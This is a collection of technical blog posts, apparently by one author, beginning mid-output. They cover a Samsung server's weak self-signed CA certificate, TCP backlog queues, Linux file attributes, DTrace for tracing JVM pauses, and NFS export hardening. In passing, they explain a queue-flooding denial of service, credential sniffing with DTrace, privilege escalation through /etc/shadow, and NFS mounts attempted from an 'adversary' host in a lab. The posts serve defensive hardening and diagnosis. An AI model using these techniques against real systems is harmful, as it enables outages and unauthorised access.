CONNECTED(00000003) depth=0 C = KR, ST = Gyeonggi-do, L = Suwon, O = "SAMSUNG ELECTRONICS CO., LTD", OU = "Platform dev team., MSC", CN = *.bigdata.ssp.samsung.com, emailAddress = bigjoe@samsung.com verify error:num=18:self signed certificate verify return:1 depth=0 C = KR, ST = Gyeonggi-do, L = Suwon, O = "SAMSUNG ELECTRONICS CO., LTD", OU = "Platform dev team., MSC", CN = *.bigdata.ssp.samsung.com, emailAddress = bigjoe@samsung.com verify return:1
Now, in of itself self-signed may not be a problem. If the app already knows what to expect via other channels, it just infers we don't know about the trust.
What is interesting is the depth; no cert chain and it uses a wildcard address.
If we then look at the cert itself, things get even more intriguing.
$ openssl x509 -text -noout -in samsung-self-sign.crt Certificate:     Data: ...     Signature Algorithm: sha1WithRSAEncryption …         Subject Public Key Info:             Public Key Algorithm: rsaEncryption                 Public-Key: (1024 bit) …             X509v3 Basic Constraints:                 CA:TRUE
Yes; the certificate on the remote server is a CA with a weak key.
Before going down the rabbit hole, I'm sure others have looked at this. Not just the specific questions with Samsung android devices and what they connect to, but the general question of production servers (i.e. those used by paying customers, and/or have live data) using such suspect setups. I certainly recall the issues with Samsung TVs not encrypting customer data.
Thoughts?

When it comes to network security and performance of network services, an important concept is how the UNIX kernel handles establishing TCP connections. Whilst the three-way handshake is commonly known, unless you write communications code (e.g. the listen() call and the backlog parameter), you may not have looked at what is referred to on Solaris as Qmax.
Qmax is incredible important. As TCP connections come in to a listening socket and complete the three-way handshake, they get put on a kernel TCP queue (listed as Q on Solaris). When a (userland) application is ready to receive its next connection, it calls accept() to take the next connection off that queue.
However, the queue cannot grow indefinitely. When a process opens up a listening socket using listen(), it supplies a backlog – a limit – on the number of outstanding TCP connections. As soon as this limit is reached the OS will, for example, no longer accept new connections at the kernel level on Solaris - it will behave as if it is firewalled off – the OS will ignore the initial SYN packet.
This has numerous  performance implications. For example, TCP at the client end will backoff and retry. Typically such backoff starts at 1 – 3 seconds and increases for each non-response. So on a low-latency system this can be catastrophic for that business function.
From a security point-of-view, if you can establish new connections at a quicker rate than the application can accept them, then you can DoS the system. This isn't as hard as you think in many cases. Think of a Java application and savepoints (stop-the-world events).
Also from a scanning point of view. If a server has multiple IP addresses and you have one listener (on the “any” interface – i.e. accepts from all) a full-connect scan in parallel may get false negatives.
Within Linux, Solaris and other OS's there are parameters to handle limits, including for those connections that have not completed the three-way handshake.
On Linux incomplete connections are constrained by /proc/sys/net/ipv4/tcp_max_syn_backlog and the backlog (from listen()) to /proc/sys/net/core/somaxconn. Set it via sysctl or sysctl.conf.
On Solaris incomplete connections are constrained by the /dev/tcp ndd parameter tcp_conn_req_max_q0 and the backlog to tcp_conn_req_max_q. Set it via ndd or /etc/system.
So, how do you look at the queue? It depends on the OS, but lets do the easy case first.
Viewing the counts on Solaris
Here we can see that the listener on port 22/tcp has q0, q, and max (ie Qmax) as 0, 0 and 8. Q0 represents embryonic connections, Q represents connections waiting to be accepted by the application and max represents the maximum size Q can grow too.
root@sol10-u9-t4# ndd /dev/tcp tcp_listen_hash | head -2     TCP            zone IP addr         port  seqnum   backlog (q0/q/max) 022 ffffffff879e9d00 0 :: 00022 00000019 0/0/8
Viewing the counts on Linux
On Linux we can use ss, for example to see listening tcp over ipv4 sockets:
[root@centos-7-2-t1 qmax]# ss -4tnl State      Recv-Q Send-Q Local Address:Port               Peer Address:Port              LISTEN     0      128           *:111                       *:*                  LISTEN     0      10            *:2000                      *:*                  LISTEN     0      128           *:20048                     *:*                  LISTEN     0      128           *:22                        *:*
Here Recv-Q is the number of outstanding TCP connections waiting for the application to accept and Send-Q is Qmax. The reason is that there is a bit of a cheat in the kernel structures, in that a listening socket reuses some redundant fields in the data structure.
We can figure out (some) of this directly, but it is less obvious. If we look in /proc/net/tcp we see a number of interesting numbers, especially for listening sockets – but what do they mean.
[root@centos-7-2-t1 qmax]# cat /proc/net/tcp   sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                        0: 00000000:006F 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 18921 1 ffff88003a520000 100 0 0 10 0                        1: 00000000:07D0 00000000:0000 0A 00000000:00000001 00:00000000 00000000     0        0 75449 1 ffff88003a525280 100 0 0 10 0                        2: 00000000:4E50 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 20578 1 ffff880037790000 100 0 0 10 0                        3: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 18923 1 ffff88003a520780 100 0 0 10 0
If we look at index 3, we see the local address with 0016. This is 22/tcp, but in hex – i.e. the listening ssh port.
How do we know it is the listening port? Well, the st column is the state. If we look in include/net/tcp_states.h in the kernel source we see various forms describing this, including an enumeration with TCP_LISTEN as item 10, or 0x0A.
What about the rest of the fields? As with the ss command, are these different? The answer lies in the kernel source file net/ipv4/tcp_ipv4.c and the function get_tcp4_sock().
Here we see that the 8th argument to the printf is rx_queue – i.e. the Recv-Q in the ss command.
seq_printf(f, "%4d: %08X:%04X %08X:%04X %02X %08X:%08X %02X:%08lX "                         "%08X %5u %8d %lu %d %pK %lu %lu %u %u %d",                 i, src, srcp, dest, destp, sk->sk_state,                 tp->write_seq - tp->snd_una,                 rx_queue,
Further down we see the last value may be the Qmax value:
sk->sk_state == TCP_LISTEN ?                     (fastopenq ? fastopenq->max_qlen : 0) :                     (tcp_in_initial_slowstart(tp) ? -1 : tp->snd_ssthresh));
It is only if we are a fastopen TCP connection (see e.g. sysctl option net.ipv4.tcp_fastopen). So, we cannot always directly get Qmax via this route.
Demo
I wrote a simple program that would open a listening socket on 2000/tcp with a small backlog. It would only accept a connection when I say. As usual things are subtly different between OSes.
For info, sol10-u9-t4 (10.255.0.17) is the Solaris Server, centos-7-2-t1 (10.255.0.13) is the Linux server and pandora (10.255.0.12) is the client.
Of course I also do something a bit non-sensical; I set the listen queue to one:
l = listen(s, 1);
First let's start the listener on Solaris.
paul@sol10-u9-t4$ ./tcpq listening .... (a)ccept, e(x)it >
Having a look at the queue states via ndd shows us Solaris was wise to the fact that setting qmax to one is a bit stupid.
root@sol10-u9-t4# ndd /dev/tcp tcp_listen_hash | egrep '(max|02000)'     TCP            zone IP addr         port  seqnum   backlog (q0/q/max) 215 ffffffff897658c0 0 ::ffff:0.0.0.0 02000 00000000 0/0/2
So, now lets start a session, which appears to hang, and look at the result.
[paul@pandora ~]$ nc 10.255.0.17 2000
Solaris has it in Q, pending the application acceptance:
root@sol10-u9-t4# ndd /dev/tcp tcp_listen_hash | egrep '(max|02000)'     TCP            zone IP addr         port  seqnum   backlog (q0/q/max) 215 ffffffff897658c0 0 ::ffff:0.0.0.0 02000 00000001 0/1/2
So let's accept it and see the result:
paul@sol10-u9-t4$ ./tcpq listening .... (a)ccept, e(x)it >a
waiting to accept ... got FD listening .... (a)ccept, e(x)it >
[paul@pandora ~]$ nc 10.255.0.17 2000 Hello world
root@sol10-u9-t4# ndd /dev/tcp tcp_listen_hash | egrep '(max|02000)'     TCP            zone IP addr         port  seqnum   backlog (q0/q/max) 215 ffffffff897658c0 0 ::ffff:0.0.0.0 02000 00000001 0/0/2
We are no longer on Q as the application has accepted this connection.
If we now connect two clients without accepting them we see the following change to the queue:
root@sol10-u9-t4# ndd /dev/tcp tcp_listen_hash | egrep '(max|02000)'     TCP            zone IP addr         port  seqnum   backlog (q0/q/max) 215 ffffffff897658c0 0 ::ffff:0.0.0.0 02000 00000003 0/2/2
We now have the situation of Q == Qmax. On Solaris 10, whilst this is the case, new connections will not be accepted. In reality embryonic connections already on Q0 still complete the handshake but are not moved to Q until there is space; we can see this via kernel tracing (or read the opensolaris source).
If we now establish a third connection whilst running a packet capture, we see this in action.
root@sol10-u9-t4# snoop -t d -d e1000g0 port 2000 Using device e1000g0 (promiscuous mode)   0.00000  10.255.0.12 -> sol10-u9-t4  TCP D=2000 S=36419 Syn Seq=2910631562 Len=0 Win=29200 Options=<mss 1460,sackOK,tstamp 1486046 0,nop,wscale 7>   1.00110  10.255.0.12 -> sol10-u9-t4  TCP D=2000 S=36419 Syn Seq=2910631562 Len=0 Win=29200 Options=<mss 1460,sackOK,tstamp 1487048 0,nop,wscale 7>   2.00416  10.255.0.12 -> sol10-u9-t4  TCP D=2000 S=36419 Syn Seq=2910631562 Len=0 Win=29200 Options=<mss 1460,sackOK,tstamp 1489052 0,nop,wscale 7>   4.00408  10.255.0.12 -> sol10-u9-t4  TCP D=2000 S=36419 Syn Seq=2910631562 Len=0 Win=29200 Options=<mss 1460,sackOK,tstamp 1493056 0,nop,wscale 7>
[paul@pandora ~]$ nc 10.255.0.17 2000 Ncat: Connection timed out.
If we repeat this third connection but accept a connection within the application prior to the timeout, it will get through:
 73.53762  10.255.0.12 -> sol10-u9-t4  TCP D=2000 S=36421 Syn Seq=4195269135 Len=0 Win=29200 Options=<mss 1460,sackOK,tstamp 1566591 0,nop,wscale 7>   1.00021  10.255.0.12 -> sol10-u9-t4  TCP D=2000 S=36421 Syn Seq=4195269135 Len=0 Win=29200 Options=<mss 1460,sackOK,tstamp 1567592 0,nop,wscale 7>   0.91266  sol10-u9-t4 -> 10.255.0.12  TCP D=36416 S=2000 Push Ack=3871252411 Seq=1827671955 Len=12 Win=49232 Options=<nop,nop,tstamp 7781354 1279657>
As you can see, whilst we got through, the fact that the kernel queue filled up resulted in this case with a two second delay (1.00021 + 0.91266 seconds). Depending on the time the application accepts in relation to the first syn packet, due to the exponential backoff in retries, could result in a significant delay or failure.
Now Linux.
[paul@centos-7-2-t1 qmax]$ ./tcpq listening .... (a)ccept, e(x)it >
Yet, when we look at the queue we see that Linux accepted out qmax of one:
[root@centos-7-2-t1 qmax]# ss -4tln 'sport = 2000' Netid State      Recv-Q Send-Q Local Address:Port               Peer Address:Port              tcp   LISTEN     0      1           *:2000                    *:*
So, lets connect from the client, just as we did on Solaris:
[paul@pandora ~]$ nc 10.255.0.13 2000
As we can see we now have a connection in Q:
[root@centos-7-2-t1 qmax]# ss -4tln 'sport = 2000' Netid State      Recv-Q Send-Q Local Address:Port               Peer Address:Port              tcp   LISTEN     1      1           *:2000                    *:*                  tcp   ESTAB      0      0      10.255.0.13:2000               10.255.0.12:51496
If we accept and complete the client connection we then see that Q is now clear:
[root@centos-7-2-t1 qmax]# ss -4tln 'sport = 2000' Netid State      Recv-Q Send-Q Local Address:Port               Peer Address:Port              tcp   LISTEN     0      1           *:2000                    *:*                  tcp   FIN-WAIT-2 0      0      10.255.0.13:2000               10.255.0.12:51496
Now lets do two without an accept but with tcpdump as well:
[root@centos-7-2-t1 qmax]# tcpdump -i eno16777728 port 2000 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eno16777728, link-type EN10MB (Ethernet), capture size 65535 bytes 11:45:37.769911 IP 10.255.0.12.51506 > centos-7-2-t1.m0noc.net.sieve-filter: Flags [S], seq 4210720999, win 29200, options [mss 1460,sackOK,TS val 2909683 ecr 0,nop,wscale 7], length 0 11:45:37.769988 IP centos-7-2-t1.m0noc.net.sieve-filter > 10.255.0.12.51506: Flags [S.], seq 2491402835, ack 4210721000, win 28960, options [mss 1460,sackOK,TS val 55031849 ecr 2909683,nop,wscale 7], length 0 11:45:37.770028 IP 10.255.0.12.51506 > centos-7-2-t1.m0noc.net.sieve-filter: Flags [.], ack 1, win 229, options [nop,nop,TS val 2909683 ecr 55031849], length 0 11:45:39.384387 IP 10.255.0.12.51507 > centos-7-2-t1.m0noc.net.sieve-filter: Flags [S], seq 4241347616, win 29200, options [mss 1460,sackOK,TS val 2911297 ecr 0,nop,wscale 7], length 0 11:45:39.384440 IP centos-7-2-t1.m0noc.net.sieve-filter > 10.255.0.12.51507: Flags [S.], seq 2296846025, ack 4241347617, win 28960, options [mss 1460,sackOK,TS val 55033463 ecr 2911297,nop,wscale 7], length 0 11:45:39.384524 IP 10.255.0.12.51507 > centos-7-2-t1.m0noc.net.sieve-filter: Flags [.], ack 1, win 229, options [nop,nop,TS val 2911297 ecr 55033463], length 0
Looks like it ignored my Qmax of one and accepted both. Let's check on the client:
[root@pandora ~]# ss -a4tn 'dport = 2000' Netid  State      Recv-Q Send-Q Local Address:Port               Peer Address:Port              tcp    ESTAB      0      0      10.255.0.12:51506              10.255.0.13:2000                tcp    ESTAB      0      0      10.255.0.12:51507              10.255.0.13:2000
.. and the server ..
[root@centos-7-2-t1 ~]# ss -a4tn 'sport = 2000' Netid  State      Recv-Q Send-Q Local Address:Port               Peer Address:Port              tcp    LISTEN     2      1           *:2000                    *:*                  tcp    ESTAB      0      0      10.255.0.13:2000               10.255.0.12:51507              tcp    ESTAB      0      0      10.255.0.13:2000               10.255.0.12:51506
Lets try one more connection:
[root@centos-7-2-t1 qmax]# tcpdump -i eno16777728 port 2000 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eno16777728, link-type EN10MB (Ethernet), capture size 65535 bytes 11:49:20.326595 IP 10.255.0.12.51510 > centos-7-2-t1.m0noc.net.sieve-filter: Flags [S], seq 3247629228, win 29200, options [mss 1460,sackOK,TS val 3132239 ecr 0,nop,wscale 7], length 0 11:49:20.326672 IP centos-7-2-t1.m0noc.net.sieve-filter > 10.255.0.12.51510: Flags [S.], seq 2163865433, ack 3247629229, win 28960, options [mss 1460,sackOK,TS val 55254406 ecr 3132239,nop,wscale 7], length 0
And on the client:
[root@pandora ~]# tcpdump -i em1 port 2000 11:49:19.677814 IP pandora.51510 > 10.255.0.13.sieve-filter: Flags [S], seq 3247629228, win 29200, options [mss 1460,sackOK,TS val 3132239 ecr 0,nop,wscale 7], length 0 11:49:19.678209 IP 10.255.0.13.sieve-filter > pandora.51510: Flags [S.], seq 2163865433, ack 3247629229, win 28960, options [mss 1460,sackOK,TS val 55254406 ecr 3132239,nop,wscale 7], length 0
It also appears to work. But if we look at the kernel states something's interesting. The client side confirms an established connection.
[root@pandora ~]# ss -a4tn 'dport = 2000' Netid  State      Recv-Q Send-Q Local Address:Port               Peer Address:Port              tcp    ESTAB      0      0      10.255.0.12:51510              10.255.0.13:2000               tcp    ESTAB      0      0      10.255.0.12:51506              10.255.0.13:2000                tcp    ESTAB      0      0      10.255.0.12:51507              10.255.0.13:2000
But the server side list's it as SYN-RECV; even though the packet captures on both sides prove we've gone through the three-way handshake.
[root@centos-7-2-t1 ~]# ss -a4tn 'sport = 2000' Netid  State      Recv-Q Send-Q Local Address:Port               Peer Address:Port              tcp    LISTEN     2      1           *:2000                    *:*                  tcp    SYN-RECV   0      0      10.255.0.13:2000               10.255.0.12:51510              tcp    ESTAB      0      0      10.255.0.13:2000               10.255.0.12:51507              tcp    ESTAB      0      0      10.255.0.13:2000               10.255.0.12:51506
If we then accept the first connection on the queue, we then see this change to ESTAB.
Interestingly, if we then try the same thing but send data from the client, the connection that the client things is established, but marked as syn-recv on the server, does not ack the data on the server side, then the connection eventually is cleared on the server side causing a reset to the client:
12:07:05.090381 IP 10.255.0.13.sieve-filter > pandora.51515: Flags [S.], seq 950779250, ack 3352895372, win 28960, options [mss 1460,sackOK,TS val 56319818 ecr 4187968,nop,wscale 7], length 0 12:07:05.090471 IP pandora.51515 > 10.255.0.13.sieve-filter: Flags [.], ack 1, win 229, options [nop,nop,TS val 4197652 ecr 56288216], length 0 12:07:08.238307 IP pandora.51515 > 10.255.0.13.sieve-filter: Flags [P.], seq 1:3, ack 1, win 229, options [nop,nop,TS val 4200800 ecr 56288216], length 2 12:07:33.870349 IP pandora.51515 > 10.255.0.13.sieve-filter: Flags [P.], seq 1:3, ack 1, win 229, options [nop,nop,TS val 4226432 ecr 56288216], length 2
12:08:25.198303 IP pandora.51515 > 10.255.0.13.sieve-filter: Flags [P.], seq 1:3, ack 1, win 229, options [nop,nop,TS val 4277760 ecr 56288216], length 2 12:08:25.198518 IP 10.255.0.13.sieve-filter > pandora.51515: Flags [R], seq 950779251, win 0, length 0
As you can see, the way things actually behave under stress can be different between OS's, can be different to what you may think, tools can mislead, and the results can be problematic for application performance and reliability.
Careful analysis will expose anomalys, allowing you to the opportunity to diagnose and resolve the true root cause of the problem you are investigating.
In a later article I'll look at dynamic kernel tracing to track these changes; yes, fun with DTrace.

Following on from my article on Linux Capabilities I thought I would cover another, interesting, but yet not that well known feature on Linux – that of filesystem attributes. This is not to be confused with extended ACLs.
Linux (file) attributes cover a wide range of features, such as the ability to mark a file as immutable, require secure deletion (read the caveats in the man page), or to exclude it from backups (aka. no dump). Some are user modifiable (with appropriate permissions), some are not.
You can view user attributes for a file using lsattr and change them using chattr.
[root@centos-7-2-t1 ~]# echo hello world > a.a [root@centos-7-2-t1 ~]# lsattr a.a ---------------- a.a [root@centos-7-2-t1 ~]# chattr +i a.a [root@centos-7-2-t1 ~]# lsattr a.a ----i----------- a.a
The man page chattr(1) gives you an idea of some of the features; to quote:
 The letters 'aAcCdDeijsStTu' select the new attributes for  the  files:  append only (a), no atime updates (A), compressed (c), no copy on write  (C), no dump (d), synchronous directory updates (D), extent format (e),  immutable  (i),  data journalling (j), secure deletion (s), synchronous  updates (S), no tail-merging (t), top of directory hierarchy  (T),  and  undeletable (u).
Of particular interest from a security point-of-view are the append-only and immutable attributes. These prevent changes, even by root, to such files. This includes renaming and changing permissions.
The exceptions are changing the append-only/immutable attributes (if you are privileged) and appending to an append-only file. For example, following on from the a.a file change above to being immutable, if we try to alter it as root we get the following:
[root@centos-7-2-t1 ~]# rm -f a.a rm: cannot remove ‘a.a’: Operation not permitted [root@centos-7-2-t1 ~]# unlink a.a unlink: cannot unlink ‘a.a’: Operation not permitted [root@centos-7-2-t1 ~]# chmod 777 a.a chmod: changing permissions of ‘a.a’: Operation not permitted [root@centos-7-2-t1 ~]# mv a.a b.b mv: cannot move ‘a.a’ to ‘b.b’: Operation not permitted [root@centos-7-2-t1 ~]# echo more >> a.a -bash: a.a: Permission denied [root@centos-7-2-t1 ~]# ls -l a.a -rw-r--r--. 1 root root 12 Jun 23 12:34 a.a
So the file looks normal from an ls, but even root cannot appear to do anything. An unsuspecting sysadmin or adversary is going to be at best confused by such a thing.
OK; you could (attempt to) update the raw device, for example ;-), but isn't this all about raising the bar.
We can always, as root, clear the attribute then delete:
[root@centos-7-2-t1 ~]# chattr -i a.a [root@centos-7-2-t1 ~]# rm a.a rm: remove regular file ‘a.a’? y [root@centos-7-2-t1 ~]#
Does this infer there are limited benefits, in that this only protects files by non-root users? Well, not exactly.
First, as root, as an additional step you need to remove the attribute or change it (eg from immutable to append-only). You need to be in a situation that a) you can do this (an exploit may not initially give you that ability) and b) you know it needs to be done (awareness).
[root@centos-7-2-t1 ~]# lsattr a.a ----i----------- a.a [root@centos-7-2-t1 ~]# chattr =a a.a [root@centos-7-2-t1 ~]# lsattr a.a -----a---------- a.a
Secondly, when we combine this with Linux Capabilities, we can have powerful 'root-like' accounts that cannot change the attribute – because you need the CAP_LINUX_IMMUTABLE capability to do this; a normal user cannot set/clear this flag – even on files they own.
As for root itself, we can always use setpriv or something else to spawn a (root) program with CAP_LINUX_IMMUTABLE removed from the bounding and inheritable set.
This doesn't prevent privilege escalation in various circumstances with these 'root-like' accounts. For example, if you have CAP_DAC_OVERRIDE you could change /etc/shadow and then become root; but it makes compromise noisier and thus more likely to be detected.
I hope you find this useful.

In this article I'm going to introduce an awesome bit of technology developed by Sun Microsystems (now part of Oracle), called DTrace. Adding to the mix I'll look at setting up a privileged role to perform DTrace operations.
DTrace allows you to instrument any part of the system from internal kernel functions, through syscalls, then into the userland processes (all in the *same* script). In short, if you wish to diagnose a performance issue, this is the tool to use. Not only that, but the probes have zero impact if you do not use them, and virtually no impact (very low latency) when you do use them.
Thinks of it as low impact and simplified kernel debugging; without debug traps and associated race conditions (remember truss and tracing the X server!)
We also have destructive DTrace, which allows you (with restrictions) to modify stuff.
Just as with many tools, it can also be used for other things. It is a awesome tool for reverse engineering (you can monitor live systems in real time) and for evil (it is just as easy to sniff for credentials, for example; and as a part of the OS it can be “below the radar”).
You can find information on DTrace on Oracle's website e.g. the user guide http://docs.oracle.com/cd/E19253-01/819-5488/ and the reference http://docs.oracle.com/cd/E19253-01/817-6223/ .
If you wish to delve deeper, I would recommend Brendan Gregg's website http://www.brendangregg.com and his DTrace books.
Once we have set up the role I'll go through how I solved a problem I was having by using DTrace. There was a Java application that was supplied and maintained by a vendor which runs on a box we maintain. Unfortunately there were problems, and as part of my diagnostics I wanted to enable verbose GC logging to see if there was a problem in this area.
Due to the politics of the situation, I wasn't permitted to modify the application or use 'application tools' like jstat, and the vendor wouldn't agree to do it either at that time. I was permitted to use OS tools; and DTrace was an OS tool... so that was my way in.
Setting up a role
There are a few ways you can use DTrace. The easiest is to run it as root. However, as we are security concious we want least-privileged setups.
You can also assign certain DTrace privileges to other users. However, you may not want a user that can log in remotely to have default privileged access.
Finally, you can create a role. In this case, you may need to consider other factors (giving a user privileges over other users, for example), but a role cannot log in remotely ..... basically risk-assess your situation and decide.
So, lets create a role.
root@sol10-u9-t4# roleadd -m -K defaultpriv=basic,priv_dtrace_proc,dtrace_user,dtrace_kernel,priv_proc_owner -d /export/home/dbguser dbguser 64 blocks root@sol10-u9-t4# rolemod -s /bin/bash dbguser
There appears to be a bug in Solaris (the version I'm using) in that in order to use the tick probe (in the profile provider), you also need the dtrace_kernel privilege for the probe to fire. As we are tracing other users we also need priv_proc_owner. Note that you can only trace owners that don't have more privileges than you; see the man page privileges(5).
Lets allow a normal user to access that role:
root@sol10-u9-t4# usermod -K roles=dbguser paul
If another user attempts to su to that role it will fail:
joe@sol10-u9-t4$ su - dbguser Password: Roles can only be assumed by authorized users su: Sorry
But we can access it:
paul@sol10-u9-t4$ su - dbguser Password: Oracle Corporation      SunOS 5.10      Generic Patch   January 2005 dbguser@sol10-u9-t4$ ppriv $$ 3974:   -bash flags = <none>         E: basic,dtrace_kernel,dtrace_proc,dtrace_user,proc_owner         I: basic,dtrace_kernel,dtrace_proc,dtrace_user,proc_owner         P: basic,dtrace_kernel,dtrace_proc,dtrace_user,proc_owner         L: all
Solving my problem
I needed to find evidence to prove whether or not various areas could be the cause of some problems in a live environment. One area of interest was the Java JVM, which was running on Solaris 10.
A bit of background to Java JVM's. One thing that surprisingly few people fully appreciate is that a Java application will regularly freeze (halt). It is part of the design. This is done by the VM Thread and is colloquially known as a stop-the-world (STW) event, and are usually very short in duration. Technically it is known as a safepoint, and is only initiated within the VM Thread.
One of the main users of this are the Java garbage collectors (GC). For example, the CMS collector will freeze the JVM during the initial-mark and the remark phases. So, if the JVM isn't tuned well, or is having memory or demand issues, this can cause longer and/or more frequent GC events, and thus more time spent frozen and less time doing productive work; this can cascade into complete failure of the app in serious situations.
Within DTrace we have a number of providers. There are two that perform function boundary tracing, fbt for kernel functions (this one is really fun to play with) and the pid provider for userland functions. There are many other providers, such as syscall, io, sched, etc.
Secondly, if we look at the OpenJDK source code (e.g. https://java.net/projects/openjdk6/downloads/), we see a couple of interesting functions:
RuntimeService::record_safepoint_begin() RuntimeService::record_safepoint_end()
The key files you will want to see, if you wish to examine it further, are:
hotspot/src/share/vm/runtime/safepoint.cpp hotspot/src/share/vm/runtime/vmthread.cpp hotspot/src/share/vm/services/runtimeService.cpp
Now, on the (closed-source) JVM we can have a look at the symbols via nm. We see that the closed-source version also has these functions. You can use other techniques to verify the functionality if you wish.
paul@sol10-u9-t4$ /usr/ccs/bin/nm -p libjvm.so | fgrep record_safepoint 0001366368 t __1cORuntimeServicebDrecord_safepoint_synchronized6F_v_ 0001369140 t __1cORuntimeServiceUrecord_safepoint_end6F_v_ 0001366776 t __1cORuntimeServiceWrecord_safepoint_begin6F_v_
So, let's start writing the DTrace script.
Within DTrace there are a load of ways we can handle this, but lets just look at summing the time we are in a safepoint over a defined interval.
We create an empty text document (say sumstw.d) with the following header:
#!/usr/sbin/dtrace -Cs
#pragma D option quiet
We then add our two probes. The first triggers on the return of the function call, storing the timestamp (in nanoseconds) in the thread local variable ts. $1 is the argument to the trace script and will be the PID.
pid$1:libjvm:__1cORuntimeServiceWrecord_safepoint_begin6F_v_:return {         self->ts = timestamp; }
The second is triggered on entry into the function call. It is an aggregation (sum) of the difference in the timestamps. i.e. how long we were in a STW event. You can also create frequency distributions using, for example, quantize().
pid$1:libjvm:__1cORuntimeServiceUrecord_safepoint_end6F_v_:entry /self->ts/ {         @total = sum(timestamp - self->ts);         self->ts = 0; }
Finally, we use the tick probe to trigger every specified unit of time. In this case every second.
tick-1sec {         printf("Time: %Y", walltimestamp );         printa(@total);         clear(@total); }
And that's it.
I have written a simple Java program that just creates and destroys Java objects (forgetting to do a few; i.e. memory leak) so as to exercise the GC code. If I run it and then compare with the output from a verbose GC log I can see it all appears to match. NOTE: other things cause STW events so it will not always match, but in this sense the DTrace is better, as I'm looking for all times when the JVM is frozen.
So run the JVM first to get the PID:
paul@sol10-u9-t4$ java -verbosegc -server \         -XX:+UseParNewGC -XX:+UseConcMarkSweepGC \         -Xms32m -Xmx32m \         -XX:+PrintGCDetails -XX:+PrintGCDateStamps \         testRig
Start the DTrace script, the numbers are in nanoseconds.
./traceSTW-sum.d `pgrep -u paul java` … Time: 2016 May 11 04:49:39                 0 Time: 2016 May 11 04:49:40          22953072 Time: 2016 May 11 04:49:41          36557806 Time: 2016 May 11 04:49:42                 0
Comparing we see:
2016-05-11T04:49:38.560+0100: [CMS-concurrent-reset: 0.000/0.000 secs] [Times: user=0.00 sys=0.00, real=0.00 secs] 2016-05-11T04:49:40.570+0100: [GC [1 CMS-initial-mark: 7258K(16384K)] 22042K(31168K), 0.0227668 secs] [Times: user=0.02 sys=0.00, real=0.02 secs] 2016-05-11T04:49:40.598+0100: [CMS-concurrent-mark: 0.006/0.006 secs] [Times: user=0.01 sys=0.00, real=0.01 secs] 2016-05-11T04:49:40.599+0100: [CMS-concurrent-preclean: 0.000/0.000 secs] [Times: user=0.00 sys=0.00, real=0.00 secs] 2016-05-11T04:49:41.547+0100: [GC [ParNew: 14784K->1600K(14784K), 0.0193115 secs] 22042K->10379K(31168K), 0.0193506 secs] [Times: user=0.03 sys=0.00, real=0.02 secs] 2016-05-11T04:49:41.573+0100: [CMS-concurrent-abortable-preclean: 0.045/0.974 secs] [Times: user=0.08 sys=0.00, real=0.97 secs] 2016-05-11T04:49:41.573+0100: [GC[YG occupancy: 9174 K (14784 K)][Rescan (parallel) , 0.0167713 secs][weak refs processing, 0.0000035 secs] [1 CMS-remark: 8779K(16384K)] 17953K(31168K), 0.0168503 secs] [Times: user=0.02 sys=0.00, real=0.02 secs] 2016-05-11T04:49:41.598+0100: [CMS-concurrent-sweep: 0.008/0.008 secs] [Times: user=0.00 sys=0.00, real=0.01 secs] 2016-05-11T04:49:41.599+0100: [CMS-concurrent-reset: 0.000/0.000 secs] [Times: user=0.00 sys=0.00, real=0.00 secs] …
As you can see, via DTrace we are now tracking what we want to. So, we can go to the live system, and without enabling verbose GC logging or any application tool, we can trace all the events of interest.
This is the tip of the iceberg when it comes to DTrace. The stuff you can do with this is truly awesome. Enjoy.

Following on from Part 1 and Part 2; in this final part of this overview of NFS version 2 and 3, we will look at a number of other countermeasures and a nice way to compromise a system.
Case 5 – Read only shares
This is one of the more useful options. If we are sharing out part of the filesystem, then lets stop the client writing to the share if they don't need to write to it; least privilege.
In this case we specify the ro attribute on the share. Note that we can have combinations, in that we can specify that some clients are rw and others ro. So, we update /etc/exports thus:
[root@centos-7-2-t1 ~]# cat /etc/exports /myShare          *(ro) [root@centos-7-2-t1 ~]# exportfs -a
Then, from the adversaries machine, when we mount the share rw, we get the following.
[root@centos-7-2-t3 ~]# mount -t nfs -o tcp,vers=3,rw centos-7-2-t1:/myShare /tgtNFSmount/ [root@centos-7-2-t3 ~]# su - bh5000 Last login: Wed May 18 09:41:37 BST 2016 on pts/0 [bh5000@centos-7-2-t3 ~]$ cd /tgtNFSmount/ [bh5000@centos-7-2-t3 tgtNFSmount]$ echo hello-world > a.a -bash: a.a: Read-only file system
As you can see, whilst it appears to mount rw, you still cannot write to it, since it is prohibited at the server end.
However, just like on web services it is important we validate at both ends; that authorized clients also ensure that the 'rules are followed' in case the server is compromised. So, valid clients should also mount the share read-only.
Suggestion 4 – don't share or mount something read-write if read-only is all that is needed.
Case 6 – ACLs
This is probably the best standard NFS option you have. Just like a firewall, we can restrict the range of hosts (there are various filters available; e.g. subnets, netgroups), so that only authorized clients can access the share (or write)  in the first place. In this case, the adversary is forced to compromise an authorized client (or the server itself), rather than taking advantage of any other host.
In this case we'll state that only server t2 can access the share.
[root@centos-7-2-t1 ~]# cat /etc/exports /myShare          centos-7-2-t2(rw) [root@centos-7-2-t1 ~]# exportfs -a
Now, only t2 can access the filesystem. So, from the adversaries box, this will fail, won't it:
[root@centos-7-2-t3 ~]# mount -t nfs -o tcp,vers=3,rw centos-7-2-t1:/myShare /tgtNFSmount/ [root@centos-7-2-t3 ~]# df -k /tgtNFSmount Filesystem             1K-blocks    Used Available Use% Mounted on centos-7-2-t1:/myShare  18307072 1865472  16441600  11% /tgtNFSmount [root@centos-7-2-t3 ~]# echo hello-world > /tgtNFSmount/a.a -bash: /tgtNFSmount/a.a: Read-only file system
Ah, you need to restart the NFS server in this case:
[root@centos-7-2-t1 ~]# exportfs -ra
[root@centos-7-2-t3 ~]# mount -t nfs -o tcp,vers=3,rw centos-7-2-t1:/myShare /tgtNFSmount/ mount.nfs: access denied by server while mounting centos-7-2-t1:/myShare
You need to carefully check the semantics of the specific system.
On Linux the semantics are to share read-only to all clients unless specified otherwise.
On Solaris, the default is to share read-write to all clients unless specified otherwise.
There are other semantics as well, so in short, you should always validate the setup.
Suggestion 5 – Always use an ACL unless you are absolutely sure it cannot be used in your situation.
Case 7 – noexec and nodev
As with any technology, it always worth looking at what options are available or changed, as some can improve security, and some can weaken security.
